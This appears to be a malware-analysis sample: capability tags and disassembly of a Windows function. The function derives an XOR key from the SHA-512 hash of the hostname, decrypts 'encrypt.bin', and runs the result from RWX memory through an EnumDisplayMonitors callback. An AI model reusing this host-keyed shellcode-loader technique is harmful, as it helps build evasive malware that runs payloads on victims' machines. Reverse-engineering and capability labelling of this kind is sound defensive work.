Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function
Get hostname
Hash data using sha512
Initialize winsock library
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400010bb
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x202
lea rdx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
test eax, eax
je 0x1400010d4
mov ebx, esi
jmp 0x1400010ef
mov ecx, 0x64
call fcn.140007e6c
mov edx, 0x64
mov rcx, rax
mov rbx, rax
call qword [sym.imp.WS2_32.dll_gethostname]
lea r9, str.H0_WjB
mov r8, rbx
lea rdx, str._s_s
lea rcx, [rbp + 0x150]
call fcn.140001010
movabs rax, 0x6a09e667f3bcc908
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rax
mov edx, esi
movabs rax, 0xbb67ae8584caa73b
mov dword [rbp - 8], edx
mov qword [rbp - 0x40], rax
mov rbx, 0xffffffffffffffff
movabs rax, 0x3c6ef372fe94f82b
mov qword [rbp - 0x38], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rbp - 0x30], rax
movabs rax, 0x510e527fade682d1
mov qword [rbp - 0x28], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rbp - 0x20], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rbp - 0x18], rax
movabs rax, 0x5be0cd19137e2179
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x150]
inc rbx
cmp byte [rax + rbx], dl
jne 0x140001193
lea r14, [rbp + 0x150]
test ebx, ebx
je 0x140001235
nop word [rax + rax]
test edx, edx
jne 0x1400011dc
cmp ebx, 0x80
jb 0x1400011dc
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.140001370
add qword [rbp - 0x50], 0x400
sub r14, 0xffffffffffffff80
mov edx, dword [rbp - 8]
add ebx, 0xffffff80
jmp 0x14000122d
mov eax, edx
mov ecx, 0x80
sub ecx, edx
mov edi, ebx
cmp ebx, ecx
mov rdx, r14
cmovae edi, ecx
lea rcx, [rbp - 4]
add rcx, rax
mov r8d, edi
call fcn.140017c40
mov edx, dword [rbp - 8]
add r14, rdi
add edx, edi
sub ebx, edi
mov dword [rbp - 8], edx
cmp edx, 0x80
jne 0x14000122d
lea rdx, [rbp - 4]
lea rcx, [rbp - 0x50]
call fcn.140001370
add qword [rbp - 0x50], 0x400
mov edx, esi
mov dword [rbp - 8], edx
test ebx, ebx
jne 0x1400011b0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.140001db0
mov ecx, 0x100000
call fcn.140007e6c
movaps xmm0, xmmword [rsp + 0x70]
lea rdx, [0x1400214b0]
movaps xmm1, xmmword [rbp - 0x80]
lea rcx, str.encrypt.bin
movaps xmmword [rsp + 0x20], xmm0
mov rdi, rax
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rsp + 0x30], xmm1
movaps xmm1, xmmword [rbp - 0x60]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
call fcn.1400059e0
mov rbx, rax
mov rcx, rdi
test rax, rax
je 0x14000135e
mov r9, rax
mov edx, 1
mov r8d, 0x100000
call fcn.140007da4
mov rcx, rbx
mov r14, rax
call fcn.140005b78
test r14, r14
je 0x1400012d6
nop word [rax + rax]
mov rcx, rsi
and ecx, 0x3f
movzx ecx, byte [rsp + rcx + 0x20]
xor byte [rdi + rsi], cl
inc rsi
cmp rsi, r14
jb 0x1400012c0
mov eax, dword [rdi]
mov dword [rsp + 0x60], 0x90909090
cmp eax, dword [rsp + 0x60]
je 0x1400012f0
mov rcx, rdi
call fcn.140007b30
jmp 0x140001330
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140017c40
mov rcx, rdi
call fcn.140007b30
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140002080
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140007b30
xor ecx, ecx
call fcn.140005918
int3